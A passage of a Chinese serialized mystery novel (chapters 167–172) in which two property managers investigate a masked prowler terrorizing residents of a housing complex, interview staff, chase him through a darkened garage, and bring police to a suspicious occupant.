“文康，等一会儿客服上班了，要查一下最近的外来人员登记表了。”我嘱咐。 “行。”高文康回。 “还有你们那个业户档案也拿给我看看。”我又补充。 “好。”高文康很痛快的答应。 一如我所料，还是没有发现，我寄希望于外来人员记录和业户档案。 因为来作恶的无外乎两类人，一个是外来的，这个查起来就费点劲，不过因为警察介入了，我们只要提供线索，也好办。 再一个就是园区内的人，那就要从内部档案入手了，再发动团队的力量，发现可疑人员那是迟早的事。 新家园的客服和白班保安上班后，我管他们要这两样东西，两个人互相瞅了瞅，磨磨唧唧的，取了半天才给拿来，高文康也有点不耐烦了，“拿个东西这么费劲吗？都干嘛呢？” 我先看的外来人员登记簿，就跟卫生纸要爽篇儿似的，皱皱巴巴的一个本，每一页都没写满，字迹歪歪扭扭，有的连日期都不全，值班人签名也没有，最近一天的记录就是昨天，外来人员就写个无。 我看看高文康，高文康脸红到脖子梗。 我又拿来业户档案，竟然也是纸质的，而且薄薄的，就两页纸，报表设计的倒还规范。 “咱们新家园11栋楼，就两页纸，不到200户？”我问。 客服是个快50岁的女的，被我问的支支吾吾的，眼睛时不时的看高文康。 我也顺着她的眼神去看高文康，高文康把我拽到了一边说：“这个客服是老杭家的亲戚，不会做表，办公自动化那一套都不行，就能简单打几个字。这个业户档案估计是第一任客服留的底子。” 我听完当场就石化了，“文康，让他们回去吧，我们俩聊聊。” 两个人走以后，我一看时间，还可以，“走吧，我没吃早饭，我们先去吃点包子喝点粥啥的，胃里空空的脑子也不好用，走！” 高文康带我来到新家园外围，西门附近的一个早点摊，门面不大，热乎乎的早餐气息传出来，我瞬间觉得一夜的疲惫感消散了很多。 第一百六十七章 西区汉子的牢骚 高文康也如我一样，看着一样样端上桌的早餐，跃跃欲试。 “这家的粥真好喝！你们这里的美食确实超赞！”我不失时机的赞美。 “是吧，一方水土养一方人，我们这里的人也都豪爽、实在，比如我，哈哈哈！”高文康明显放松下来。 我看看对面这个战友，实话说武力是有的，勇气也不输，但就是感觉他在“对付”，就是那句话，叫“做一天和尚撞一天钟”，为什么呢？我很好奇。 “文康，你是不是在外边有啥事业啊？”我问。 “事业？啥事业？”高文康被我突然跳跃式的问话给搞蒙了。 “就是副业，除了工作以外，额外的能赚钱的工作。”我解释一番。 “没有啊，你咋这么问？”高文康还是没反应过来。 “你看啊，我是东北人，我老家在东北农村，从小耳濡目染的，我的说话方式和行事风格也都比较直接，没有那么多拐弯抹角的智商，我不知道我这样和你聊天的方式，你是不是能接受？”我想用高文康习惯的方式来和他聊接下来的事。 “我也是这样啊！向荣，我也是这样，跟你一样！要不然咋第一天见面我就带你去吃特色了。集团之前也不是没派过人来，这个总、那个监的，你可以打听打听，我高文康什么时候跟他们称兄道弟、还带他们吃喝过！”高文康也表态。 “那你为什么给我的感觉，就这份工作，你一直是对付呢？以你的能力，就今天保安拿过来那个东西，你早就让他们走人，换新的啦！还有那客服，是，他是你心腹的亲戚，但是我看她工作不出菜这个事儿也不是一天半天了，你都能忍着，怎么的？她也是你亲戚？”我很直接，也很见血，还有点嘲讽。 我是不管的，于公于私我都得说他，其实工作表面看是对付了公司，实际对付的也是自己，自己的精力、自己的时间，都这么不当回事的对付掉了。 高文康被我怼的哑口无言，一张脸憋得通红。 “文康，咱俩就当兄弟聊天，你别拿我当特派员，我要是想用权力，刚才在办公室我就发作了。但是我觉得这是我兄弟的盘子，我得问问我兄弟有什么难处、看看我能不能帮忙！”我说的全是心里话，就这两天的相处，我已经把高文康当成了兄弟。 高文康听完我的话很惊讶，也很羞愧，那双眼睛不敢看我。 沉默了一会儿他说：“向荣，你看我没什么文化，也是机缘巧合的，干了物业，从保安干到这个叫什么，区总，其实升职的时候我挺开心的，至少工资翻倍了嘛，是吧！在我们这里，我这个工资水平不低了。但是当我干上以后，我才发现，根本没那么好。一天天的解决的全是张家长李家短的那点破事儿。老话说的好，清官难断家务事，连官都解决不了的，让我解决啊？而且全部的问题，尽管跟上面反应，也是没人管，根本、至少吧，没有人能给出主意，你说我这一介武夫，还让我怎么办？时间长了，我也就腻歪了，也有情绪，这是真的。但是你说对付，可能吧，确实，今天这俩人拿出来的东西，我都臊的方！” 高文康一口气说完，把碗底的粥都喝了，看得出来，他被我触动了心事，血性出来了。 “文康，昨晚上虽然那女业主没事，但是那狗，我现在一闭眼睛，眼前全是那狗躺在那里的样子。实不相瞒，我也是高中毕业就参军了，也没念过大书，和你一样也是机缘巧合的干了物业。在我管的一个小区有个女业主就遇到了这样的情况，刚发现的时候她还没发生危险，我领导让我保护她，可是当时因为处理一个违建的事情，我忽略了，再后来因为证据不够和没出现严重危害，这件事就搁置了，我被派去管了别的小区。可是她就被害了，身上被扎了十几刀，我领导因为这件事被停职，我们在生活中也有兄弟一样的情义，当时你知道我啥感觉吗？我在心里告诉自己，只要我还干物业，我就绝对不会再允许这样的事情出现。” 我把穆艳红的事情告诉高文康，说了很多我内心的想法，高文康就那样安静的听着，看着他的表情，我知道他懂我。 “向荣，我知道了，新家园我立刻整顿，该我做的事情，我不会再让任何人挑出毛病来！鬼影我也一定会抓到！奶奶的，敢在我的地盘撒野！” 高文康把最后一口包子咽下去，我们两个相视一笑。 “下一步我们发动一下保洁，专门搜园区内全部的垃圾桶，还有每一层楼道的角落，不要放过任何一处。”我告诉高文康。 高文康秒懂，“走！现在就回去布置任务！” 高文康整顿团队的时候，我又仔细看了一遍我们跟鬼影遭遇时候的监控，发现高文康抓住鬼影脚踝的时候，是露出皮肤的，不知道当时有没有划伤哪里？ 还有鬼影的头套，那是个什么呢？为什么像黑球一样？ 还有，他怎么就知道物业的有动作呢？ 这时候我听到高文康在不耐烦的讲电话，还时不时的生气。 “怎么着啊？我是领导、你是领导？我就说她不行，好使不好使？” “你随便，爱干不干！”说完就按掉了电话。 我有点诧异，毕竟是区总，干啥这么生气。 “怎么了？文康，跟谁呀？这是。”我问。 “老杭，这个家伙被我惯的简直目中无人了，我告诉他把亲戚领回去，我要重新招人，他竟然跟我犯浑！我大小还是个领导吧，私人关系再好，这也是工作啊！你看看昨晚上给我介绍那是什么人，差不点就给我捅娄子！不行！这回必须换血，我就不信了，西区我说了算！” 高文康现在的样子才是我想看到的样子，“我支持你！”我赶紧凑上去补充。 哪知道他又无措下来问我：“鬼影的事我是一点办法没有，咱们怎么查？” 第一百六十八章 捉鬼影第二战 “我有办法，就是咱俩得付出些辛苦。”我有主意。 高文康很兴奋，“快说！什么办法？辛苦在我这最不值一提。” “咱俩挨家挨户把业户档案给完善了，把现在园区里全部的住户情况尽量摸到最详细。不愿意提供信息的，至少要知道目前是出租还是空房、还是自己在住。原住民有多少、租户有多少。” “向荣，这事确实有难度，但不是没有可操作性，搞吧，现在就干！”高文康的执行力很强，而且他的脑筋很清楚，知道什么是该做的，什么是不对的。 我们两个人做了分工，先从两栋高层开始，核实现有的信息，找到房主然后询问现在是谁在住。 搞了一整天，战果不小，两栋高层的基本都核实差不多了，业主还都配合，一听说只是物业补充新信息，也都没说什么，而且我们基本都要到了房主的电话，日后工作就好办多了。 “有一个疑点啊，文康。”我看看这些信息忽然发现一处问题。 “什么疑点？”高文康过来看我的表。 “你看出事那个顶楼业主的对门，刚才房主明明说房子目前闲置了，没人住，可是为什么昨天警察询问的时候，那女业主说对面有人住呢？” “是啊，昨天我也听到这句了，她说对面有住人。”高文康也开始纳闷。 “我们再去问问她吧，有问题没答案，我什么也干不下去。”我提议。 “可是她现在的状态，我们去了能问出什么呢？会不会太打扰人家？”高文康有自己的想法。 我想了想，高文康考虑的也对，但是如果不问，这件事一旦是问题，就是我们的失误。 “走吧，没事，我们也是为了帮她找到坏人，如果对门真的有问题，那多可怕！” “行，走吧！” 我和高文康一前一后去了四号楼，一路上我总觉得后面有人跟着我们，回头看了几次都没有人，什么情况？ “向荣，你这是啥毛病？怎么走两步三回头的？”高文康问我。 “我总感觉后面有人跟着我们，你发觉了吗？” “有人跟踪？”高文康也站住回头看，可是后面是一条干干净净的小甬路，旁边都是绿植，没有人。 “文康，这些年日积月累做事的原因，我这灵敏度可不一样，一定有人跟踪，等回去我们查一下监控就知道了。” 高文康点头，我们进了四号楼电梯，来到33楼女业主家，走廊里的痕迹已经被保洁清理干净了，不知道的，根本想不到昨天这里发生过义犬救主。 高文康敲门的时候，我仔细看了看门锁和门镜，门锁没有啥痕迹，门镜上还能看见一点口香糖的印迹。 敲了好半天，里面才有人出来询问，是个老大娘的声音，问我们找谁。 “大娘，我们是物业的，来看看业主，再了解一点情况。” 门打开后，我们看到一位头发花白的老大娘，“物业同志，我姑娘现在恐怕不能和你们对话，她惊吓过度，狗死了很伤心，一个人呆着呢！物业同志，你们给费费心可得把这个坏人抓到啊，免得他再来害人。” “大娘，我们就是来了解一些可疑的情况的，对我们抓坏人有帮助。”高文康说。 老大娘犹豫了一下，慢悠悠的往卧室走去。 能等了一会儿吧，卧室的门开了，女业主神情憔悴的走出来，“你们想知道什么？” “业主，你对门那家到底有没有人住？”我问。 “对门？有人呀，昨天警察来问过了。”女业主很肯定。 “可是我们今天核实过房主，他说房子目前闲置，没租出去，没人住。” “啊？不会吧，我不会看错呀，是个男的，晚上回来的挺晚的，白天也不知道什么时候走的，基本上看不到这个人出入。”女业主回忆。 “你们怀疑我对门吗？不可能的。”她又补充。 “为什么这么肯定呢？”高文康问。 “我对门穿戴都挺高级的，来堵我门做啥？而且有两次，我晚上遛狗我们在电梯里还见过，他也没有任何不良的表现。”女业主很相信自己的判断。 我和高文康对看了一眼，准备告辞，“行，那您好好休息吧，最近也还是要注意，这个人现在还没有确定是不是外来的，你和大娘在家的时候，在里面用钥匙反锁一下。”高文康说。 女业主点点头，准备回卧室，我和高文康开门想要出去，这时候，女业主突然哎呀一声，“我想起来了，对门那 个人确实有一套跟昨天那个人一样的衣服。” “什么？黑色绸缎式。”我问。 “是的，我记得清楚是因为那天在电梯里，我还纳闷呢，他怎么穿的这么中规中矩的？说不出来，反正就是哪里的感觉很不对。”女业主说。 “而且昨晚上那么大动静，对门都没有人出来看，这也不合常理。我大声呼救就是知道对门有个男的，希望他能听见，然后出来帮我。” 我们几个人都沉默了，女业主说的也是我和高文康怀疑的。 “业主，千万别打草惊蛇，这几天就算你看见对门的人回来，你也不要惊动他，你第一时间给我们打电话，我们有办法查出到底是不是他。”高文康说。 “对，保护好自己的安全是第一位的。”我补充。 回到物业办公室，我们去看了刚才小路附近的监控，果然有一个人在后面一直保持一定距离的跟着我们。 “文康，你认识他吗？”我问。 高文康将视频放大，仔细看了半天才说，“这不是院子里的保安吗？他跟着我们做什么？” “保安？在职保安？” “对啊，在职。我想想，对了，今天不是他当班啊，咋回事？难道监守自盗？” “不像，你看他这身高和身材跟那个和我们周旋的差太多了。” “等我找他过来问问就知道了。”高文康说。 正在这时候，有个保洁从外面慌慌张张的跑进来，说：“高总，高总你看看，这是不是你们要找的头套？” 我和高文康一惊，赶紧凑过去看，一个塑料袋子包着的，里面赫然就是那个“黑球”，鼻孔和眼睛留了四个小洞。 “没错，就是这个，你在哪发现的？”我着急的问。 第一百六十九章 满屋的垃圾都没法下脚了 “在八号楼楼角的垃圾桶里，就用这个塑料袋子包着，扎的很紧，因为袋子不大，又黑乎乎的，我就寻思看看，结果就发现了。”保洁说。 “八号楼？八号楼是多层啊，难道是八号楼的人？”高文康自言自语。 “看看监控就清楚了。”我提议。 于是我们俩谢过保洁，告诉她继续保持警惕和留意，就让她先回去。 我们俩又开始紧张的一帧一帧查看监控。 看的头眼发花，都快睡着了，也根本没看到有可疑的扔垃圾人，怎么回事呢？事情做了，但是却找不到可疑人，一定是哪里出现了问题。 我想了想，开始回溯整件事的过程，问题到底出在哪了？ “文康，我们还是先找那个保安问问为什么跟着我们吧，总思考这一件事，脑子已经僵硬了。”我建议。 “好，我这就联系。” 高文康打过电话后没过十分钟，监控中那个身影就来了物业办公室。竟然是一个小老头！ “文大爷，你今天是不是跟着我和吕总去了四号楼？鬼鬼祟祟的在我们后面做什么？”高文康直接就问。 “是、是的，跟你们后面跟了一会儿，是杭经理让我这么做的，他说怕你有危险，让我在暗中保护你。”被叫做文大爷的老头一脸无辜的说。 “杭经理？你说老杭？什么时候的事啊？”高文康很吃惊。 “昨天早上上班以后告诉我的，他说你现在在抓坏人，让我们保安在暗里保护你。” 我哑然失笑，这个老杭到底是何许人也？不仅手伸的过长，主意也很正。 “净扯淡！我还用你们保护！再说了，你鬼鬼祟祟的在后面，就不怕被我们当成是鬼影啊？”高文康吓唬文大爷。 “哎呀，高总，您可别和我开玩笑，鬼影做了这么多件恶事都没被逮到，我就跟了你一会儿就被发现了，这个杂么比么！”文大爷带着方言讪讪的笑着说。 也不知道他这是在表扬鬼影，还是在解嘲自己没有跟人的本事。 “文大爷，你来新家园干保安多久了？”我想和他好好聊聊。 “很久了，我是最老的员工，我在的时候，高总还没来呢！”文大爷回。 “那就是说新家园这边的建设构造，还有园区的一些事，你都知道？”我又问。 “构造肯定知道，而且我还很清楚。园区的事嘛，你指什么事啊？这新家园发生的事儿可老鼻子了，而且都很罕见。”文大爷还挺健谈。 高文康瞬间来了兴趣，“文大爷，那你说说你认为最罕见的事是哪件？” “最罕见的啊，最罕见的就是那个五号楼的，房主把房子租给外地的一对小两口，房租到期了他就联系不上租客了，过了半个月，房主实在等不了了，来房子这查看，找了个上门开锁把房门打开以后，人差点没气背过气去！”文大爷一边说一边憋着笑。 “咋回事儿？”我忍不住问。 “咋回事儿？满屋的垃圾啊，卧室、客厅、厨房、卫生间，垃圾成山，下不去脚了都。租房的人早就没影了，押金也没要。房东赶紧查了一下水电煤仨表，结果欠费金额高达好几百！你说这不存心嚯嚯人呢嘛！”文大爷戏谑的说。 “啊？您说的满屋的垃圾，是不是有点夸张啊？多大房子啊？”我有点不信。 “一室一厅一卫，50多平米吧。现场我看到了，确实满屋垃圾，而且各种垃圾，卫生纸，快餐盒，方便面桶，买东西装的纸壳，不要的内衣裤、袜子，还有烟头烟灰......哎，说的我都恶心了，还有女人用品！”文大爷明显不想回忆了。 “啊？这也太不道德了！这不存心坑人呢嘛！后来找到人没有？”高文康怒了。 “上哪找人去啊！人家要是能被你找到，还能这么嚯嚯吗？”文大爷叹了口气说。 “看来新家园出租率高也不是好事，管理起来太混乱了！”我说。 “还有没有什么类似最近发生的这个鬼影的事情的？”我又问。 “类似鬼影的事情，我得想想。”文大爷开始思考。 “我管理之后肯定是没有，这个我知道。”高文康说。 “您还别说，真有一件，不过，那个不是鬼，是个人，还是个可怜人。”文大爷说。 我的心潮澎湃了，极有可能跟现在这件事有关联。 “文大爷，您快说，详细一点告诉我们！”我急切的问。 “这个人就不是租客了，是房主，他在八号楼顶楼住，因为 有白化病，所以出入都是捂得严严实实的，还戴着一副黑墨镜。人是个好人，但是因为装束奇特，邻居都躲着他。”文大爷又叹了口气。 “哎呀，我说大爷，你能不能尽快切入重点，不要老是叹气嘛，到底怎么了？”高文康急不可耐。 “高总，您别急啊，事情过去有好多年了，当时出事以后他也搬走了，你得容我好好想想细节、一点点说啊！”文大爷解释。 我的直觉告诉我，这个人肯定有问题，起身去给文大爷倒了杯水递给他，“大爷，不急，有得是时间，你喝点水，慢慢讲。” 文大爷喝了口水，打开了话匣子。 原来这个业主对门的邻居是小夫妻俩，平时上下楼坐电梯、楼下遛弯啥的，都能撞见，因为自己有毛病，所以他刻意躲避邻居，怕人家看到忌讳。 可是对门的女主人特别善良，对楼里邻居都很热情，见到他也总是主动打招呼，有时候还帮他拎个东西什么的，一来二去的，白化病业主对对门的女业主产有了一个很好的印象。 后来女业主怀孕了，到了孕晚期的时候，她老公的妈过来帮着照顾，自从这个婆婆来了以后，白化病业主经常能听到对门的吵架声，还有压抑的哭声。 平时再在电梯里看到女业主时，她再也没有了以前开心的表情，身旁跟着的她婆婆，也总是板着个脸，有时候他们俩打个招呼，那老太太都会狠狠的瞪视女业主。 再后来，小孩出生了，白化病业主就很少看到对门女业主出门了，但是争吵声、打骂和摔东西的声音却越来越频繁。 第一百七十章 搬走的业主 “建彰，赶紧给她抓回来，丢不丢人！”白化病业主本来想出来拉架，但是听到老太太的声音就忍住了。 “是不是给你脸了？你喊什么喊？想让全楼的人都听见吗？”女业主的老公还是一副凶巴巴的语气。 这时候白化病业主听见女业主疯狂的大吼起来：“你和你妈，你们不是人！孩子出生以后都是我一个人管，白天你上班，你妈根本不管我们，也不给我做饭，就知道孩子哭了说我，晚上你回来也不帮我分担，夜里孩子哭了，你还埋怨我没有照顾好孩子，刘建彰，你就是这么爱我的吗？” 这时候楼下也有听见的邻居开门出来看的声音，但是没有一个人上来劝架。 白化病业主还是忍着没有出去。 但是这时候他听到了男人有力的脚步声走出来扯那个女业主，女业主更加大声的哭喊，就是不进去。 他对着门镜向外看，女人的婆婆也加入了撕扯的行列，两个人拽着女业主往屋里拖。 女业主的鞋子都被扯掉了，又哭又喊，就跟疯了一样，特别可怜。 他实在忍不住了，打开门劝，“邻居，有话好好说呗，都是一家人。你女人刚生完孩子，这么大情绪，会影响身体的。” 就这一句话，就给他带来了噩梦般的阴影，一直到最后不得不离开新家园。 女业主看到来了人拉架，趁她老公和婆婆愣神的工夫，挣脱了束缚，跑到白化病业主身后躲着，那副神态俨然精神崩溃的状态。 “你以为你是谁呀！别人家闲事儿少管！真是狗拿耗子！”女业主老公很不客气。 说完以后还是伸手去白化病业主身后抓女业主。 不知道是情急之下，还是被对方骂了心里不舒服，白化病业主突然出手抓住了男人的手腕，“我和你说过了，有话好好说。” 他这一下，把女业主婆婆也吓了一跳，怕自己儿子吃亏，冲了过来，不依不饶的喊：“你敢打人？她跟你有什么关系？你们是不是有见不得人的什么事儿啊？” 这一下就更乱了，女业主和白化病业主都没想到这老太太能蹦出这么一句。 女业主老公有可能早就怀疑自己老婆，那么多邻居都是出来听听就回去了，没一个人来管，只有对门的男人来管，而且还这么仗义的管，他觉得他妈说的不无道理。 两个人你一句我一句，谁都不让份的吵开了，后来干脆动了手，女业主婆婆报了警。 警察来了，物业的也来了，整栋楼的人都知道了。 新家园的人就开始传白化病男业主跟女业主“不清不楚”、“有不三不四的关系”，后来越传越甚，只要白化病业主一出现，就有人在背后指点他。 以前是对他的穿着和造型颇有微词，现在变成了丑闻，这些人就更加肆无忌惮。 再后来，女业主屈服了，看见白化病男业主就躲着走，在一个电梯里也不说话，刻意回避。 有一回带着孩子在楼下玩，小孩玩的玩具掉到了地上，刚好男业主经过，顺手帮着捡起来递给她，结果她不但没说谢谢，还把那个玩具给扔到垃圾桶。 再后来好像也发生了一些事，但是就不清楚了，男业主也就搬走了。 “这故事听着有点气愤呐！”高文康说。 “当时你们物业怎么不早点出来管呢？那么吵吵，不能只有一家给你们物业打电话吧？”高文康问文大爷。 “是有几个电话，但是谁能管得了啊？清官难断家务事，多一事不如少一事。” 我无语了，高文康也气得不言语了。 “现在八号楼顶楼住的还是那个女业主家吗？”我问。 “不是了，他们什么时候走的，我也不知道。这园区人员流动大，经常来搬家公司的车，出出进进的，我们都习惯了。”文大爷回。 “那这个男的搬到哪去了，你也不知道吧？”我又问。 “这个我还真不知道，但我总觉得离这里不算远。”文大爷回。 “为什么这么认为？”高文康问。 “我有几回在那个两条街左右的小市场看到过几次他在买菜，要是住得远，也不能跑这里来买菜呀！”文大爷回。 “我觉着真正让这男的放弃的是对门女业主的行为，明明是好心帮她，她到最后竟然也站到了对立面，还做出那么伤人自尊的举动。”我说。 “也没办法呀，一个女的，跟整个家族为敌，连左右邻居都指指点点，孩子那么小，让她怎么面对？”高文康也有自己的看法。 “白化病男业主挺冤的其实，住在对门，搞那么大动静，平时经常说话的关系，咋能不出来问呢！那天我也去现场了，那女的造的，披头撒发的，光着脚，脸上和胳膊上都有伤。”文大爷说。 “也是个可怜人，哎！”我哀叹起来。 “向荣，鬼影能是白化病这男的吗？”高文康问我。 “不好说呀，除了这个头套是在八号楼发现的，这个男的也有那么身衣服，就没别的了，你觉得是吗？”我也无法确定。 “可别忘了，咱们还没查清楚出事这家对门到底有没有人住呢！”高文康说。 “这好办，我们今晚上开始蹲点儿，我就不信真有人住，蹲不着！”我回。 “蹲点儿？”高文康疑惑。 “对，咱们俩早点吃完饭，然后睡一觉，九点左右就去四号楼蹲守，连续蹲几天看看。还有这个业户档案的工作还要继续完善，我们做完了两栋高层的，剩下这些让物业的员工继续赶出来。”我把想法和安排告诉高文康。 高文康想了想说：“就这么办！” 这时高文康的手机响起来，“喂，老杭，怎么了？”是他的心腹老杭。 “什么？不行，不用他来，他帮不上忙。行了，别说了，就这样！”高文康不耐烦的按掉电话。 然后抬起眼睛看看我，嘿嘿嘿的笑了，“老杭非要杭易道晚上来陪我们干活，让我给拒了。” “文康，你能不能给我解解惑？这个老杭到底是你什么人？”我实在忍不住了。 高文康脸憋得通红，下了很大决心说：“向荣，我这，应该不算违反公司规定。” 这回换成是我为难了，还不如不知道呢，要是真违反规定可咋办！ “那你可想好了再说，如果真违反规定，我可不敢保证我不大义灭亲。”我斜睨他。 “哎呀，你看你，我就那么一说，老杭是我大舅哥，我老婆的亲哥哥。”高文康说。 我脑袋转过来了，原来是亲戚，亲戚在一个团队，这个允不允许，我还真不确定。 “怪不得他那么在乎你的安全。不过，文康，我总觉得他在你的工作上促进作用不大，你听没听过一句话，叫自己的刀砍不了自己的把？”我问。 第一百七十一章 捉鬼影第三战 原来高文康心里都明镜的，知道是私心重。 “私心，要看是什么私心了，如果是只为自己的私心，肯定不行。”我提前给高文康打预防针。 高文康看看我，秒懂，“看你想哪去了，我说的私心是一心为我着想，什么事都是我第一位，为这我也没少说他。” “文康，新家园的物业工作你也看到了，如果你不尽快整顿出来，我肯定是没办法帮你的。”我想我有必要把丑话说在前面。 “你放心，我懂，而且只要我还在这干一天，我就不会让人说我能力不够。”高文康似乎早有决定。 “行，那就准备准备晚上蹲守吧！”我说。 可是还没等到九点呢，物业办公室的电话就响了，“您好，物业办公室，请问您有什么事？”高文康问。 “物业吗？我在地下停车场，有人跟着我，我在车里不敢出去了，你们快来！” 我在旁边听着是个女人的声音。 “好的，您别急，您在地下几层？车位号告诉我。”高文康急切的问。 “地下二层，B2018。” 我和高文康放下电话就出了门，外面下雨了，还挺大。 “文康，咋回事？”我边跑边问。 “一个女业主在停车场被跟踪了，不敢下车。快！” 我心里不由得担忧起来，新家园这个“坏蛋”不除，迟早出事。 地下停车场的照明还是可以的，可是到了地下二层，竟然乌漆嘛黑的，难道是电路被人破坏了？ “糟糕！这人有准备。”高文康说。 我点亮随手带过来的手电筒，高文康用对讲机告诉保安检查一下地下二层的电路。 这时候，我们突然听到远处有喊叫声，还有汽车的喇叭声。 “快！出事了！”我招呼高文康，加快脚步朝声音跑过去。 因为没有照明，我们只能按照消防指示牌和手电筒的微弱灯光指引方向，停车场的车位几乎都满了，好在有几声汽车喇叭声，我们顺着声音跑，好在方向是对的。 等我们快接近声源的时候，全部的声音都没有了，四周安静的出奇。 “向荣，怎么办？”高文康问我。 “别急，业主说是几号车位？”我问。 “B2018，现在是010，快到了，走！”高文康说。 刚迈开腿，就听见有个女人惊恐的喊：“你要什么我都给你，放过我、放过我！” 情急之下，我拿起手电筒就照过去，用尽全力大喊一声：“干什么的！住手！” 高文康直接就飞奔起来，手电筒光照下，我依稀看到一个黑黑的暗影，那脑袋明明就是个黑球，还是他！ “文康，是鬼影，抓住他！”我也奔跑起来。 这时候我们已经到了近处，女业主的车门大打开，人已经吓晕了。 我没做停留，追着飞也似的鬼影跑过去，这一次我一定要逮到你！ 可是这个人就像是脚上擦了油一样，而且像是会功夫，现在照明还没修好，他却丝毫不受影响，就像在白天一样。 “专门吓唬女人，你算什么男人！我一定逮到你，你跑不了！”我大声喊着，想要在气势上震住他。 这时候到了往地上一层去的拐角处，我看到高文康出现在鬼影的前面。 “你往哪跑！”高文康直接就扑向鬼影。 我也没闲着，从后背扑向他。 鬼影明显没想到前面又出来一个堵截的，迟疑了一下，就这么一下，给了我们很好的抓捕条件。 高文康扑倒了鬼影，想要按住他的肩膀，背过他的手，但是这个人像泥鳅鱼一样，根本无法控制。 我也凑上前，抓住鬼影的脚，奇怪，他的脚踝怎么跟正常人不一样？是哪里有问题呢？ 鬼影利用我迟疑思考的当口，使劲蹬踹了一下，接着一个鲤鱼打挺，滚到一边，摆脱了高文康，爬起来，一刻都没迟疑的向负一跑去。 “追！”高文康喊，我们俩跟在鬼影后面也跑向负一。 负一层已经有照明了，我真真切切的看到鬼影跑在前面，但就是追不上，他的速度为什么这么快？ 一晃神的工夫，人又没了。 “向荣，人呢？”高文康火冒三丈。 “就一晃神，没了。这么快的速度就没了，我猜他躲到了车里。如果看不到监控里有可疑的人出入，说不定就是开车过来的，然后再开车走。”我推测。 “有 可能，那我们去出车口等。”高文康说。 出车口的保安亭里有保安在值班，看到高文康过来，赶快问：“高总，下边灯修好了，是电闸被拉了。” “什么？谁能碰到那玩意？不是都保护着呢吗？”高文康问。 “这，这我不清楚啊，得明天工程的人上班了问问。”那保安小心翼翼的回。 “今晚上你看好了，每一辆出去的车都要登记，记住了吗？”我跟保安说。 保安点点头。 “别不当回事儿，如果在你这出问题，我就让你走人！”高文康还是很火大。 保安吓坏了，困倦的样子全没了。 “向荣，真的太气人了，我们俩大老爷们儿竟然没抓住他！他那个身上滑的，是不是那身衣服是特制的啊？”高文康开始发牢骚。 “文康，我们还得下去，赶快！”我忽然想起女业主还在车里。 高文康也反应过来，用手指点点保安，提示他务必登记好每辆要出去的车，然后就跟我跑向负二。 负二的照明恢复以后，我们很快就找到了女业主的位置，车门还是大开着，人还在昏迷中。 “业主、业主，醒醒，您没事吧？”我轻轻的唤着女业主。 有个两三秒吧，她慢慢睁开眼，睁眼之后看到我们，直接就嚎啕大哭起来。 “没事了，没事了，您别哭了！我们送你回家。”我安慰她。 “你们物业怎么工作的？为什么断电？这可是停车场，本身就是地下，断电叫人怎么安定？太吓人了，那个人忽然就出现在我车前面，那个眼睛是两个黑洞，呜呜呜！” 女业主语无伦次的叙述着。 我听着她的叙述，想象着当时的画面，确实是很吓人，太诡异了！ 不过从女业主给我们打电话一直到我们来，中间这个时间足够这个人实施侵害了，但是他除了吓唬女业主，却什么也没有做。 看来他的目的就是恐吓，是搞破坏，并不是害人。 就是这种恐吓最折磨人，没有人员伤亡，警察不会作为最重要且紧急的处理，物业再没有人专门治理这件事，就会持续性发酵，人心惶惶。 第一百七十二章 半夜潜入者 我和高文康把失魂落魄的女业主送回家，很挫败的回了物业办公室，这件事的难度比我预想中的要高。 是我以往接触的所有事件里难度最高的，难度高就高在，不知道对手是谁，人家在暗处，而且他对这个园区的人有着某种泄愤式的仇恨，隔段时间就来点事情。 “文康，这件事还是报警吧，跟警察报告一下，以免后续出现无法挽回的后果。”我不无担忧的建议。 “行，天亮以后我去一趟管片派出所。”高文康也垂头丧气的，没了精神。 “33楼对门的可疑人，我们还去蹲守吗？”高文康问我。 我看看时间接近12点了，“走，去看看。” 外面的雨还在下，而且没有渐小的意思，我和高文康没打伞，快步跑向四号楼。 一楼门廊通往电梯的一段路上有不少水渍，“文康，这雨是什么时间开始下的？” “就是我们接到业主电话去停车场的时候。”高文康回。 “你确定？” “对啊，怎么了？” “那个时间也经很晚了，门廊这条路这么多水，这么晚了出入的人很多吗？”我很怀疑。 高文康想到了我的疑点，这时候电梯到了，“走，上去看看就知道了。” 进了电梯，里面也有一个人的位置有水，看来，确实是有人在不久之前上去过。 “向荣，我们就这么上去，门关着，我们也不能直接去敲门吧，再说，就算我们敲门了，他也未必能给我们开啊！”高文康担心的说。 “不敲门你有什么好办法？”我问高文康。 这时候电梯到了，高文康也没想出什么好主意。 我走到门前仔细看了看脚垫，上面明显有水，我指给高文康看，他小声问我，“要敲门吗？” “不要，走，去监控室！” 在监控视频里，我们看到了穿着一身黑衣浅进屋内的“鬼影”。 “还真是他！报警吧！”高文康说。 这个黑衣人的脚步挺利落的，没有带头套，但是带了一顶帽子，帽檐压得很低，露出来的皮肤很正常。 我点点头，“报警吧，至于到底是不是这个人，警察有权力盘问。” 我和高文康一直在33楼消防通道等着，警察也很快赶到了，“怎么样？是那个人吗？” 其中那个年纪大一些的警察问高文康。 “李队，不太确定，但是监控里看着着装和身材特征很像。”高文康回。 李队示意身边的小警察敲门，小警察走上前开始敲门，一边敲还一边说：“里面的人开门，我们是警察。” 但是没有任何回应，就像没人一样。 李队看了看脚垫上的水渍，又跟高文康确认了一下是不是有人，高文康点头，“我们俩真切的看到监控显示进去人了。” 李队拿到确认后，也走上前敲门，加重了力道，“里面的人听着，我们已经通过监控看到进去人了，请你配合，赶快开门！” 足足敲了五分钟，终于听见有脚步声慢悠悠的传过来。 房门打开之后，里面没有开灯，门缝中渗出的那张脸吓了我一跳，从额头经过眼睛再到脸颊，有一道深深的疤痕，疤痕处的眼皮沉重的垂着。 “警官，这么晚了，有什么事吗？”声音沙哑又苍老。 “你是房东还是租客？身份证出示一下。”李队严肃的说。 开门的男人极不情愿的回去取证件，李队喊住他，“把灯打开。” 随着厅里的灯亮起来，我和高文康看清了局面。 房子肯定是没人住，站在门厅处可以看到冰箱和厨具这些目视可及的物件都蒙着防尘罩，地上有这个男人脱下的湿衣服，是一套类似雨衣的料子，黑亮黑亮的。 我本想去摸一下，不想这时疤脸男转身走回来。 “警官，这都夜里两点了，我犯什么法了，你们来我家查我身份证。”他的语气明显硬气起来。 李队也没管那些，直接说：“我们怀疑你与前几天发生的恐吓事件有关，而且怀疑你在这里居住的合法性，跟我们回派出所吧，配合调查。” “居住合法性？这房子是我弟弟的，我不能住吗？”疤脸男不服。 “我说过了，需要你跟我们回去配合调查，这是你的义务，懂吗？”李队示意年轻警察，“带他跟我们走。” 疤脸男很无奈的穿上地上的湿衣服，跟警察出门，我借机看了一下，不是我摸过的那个 材质。 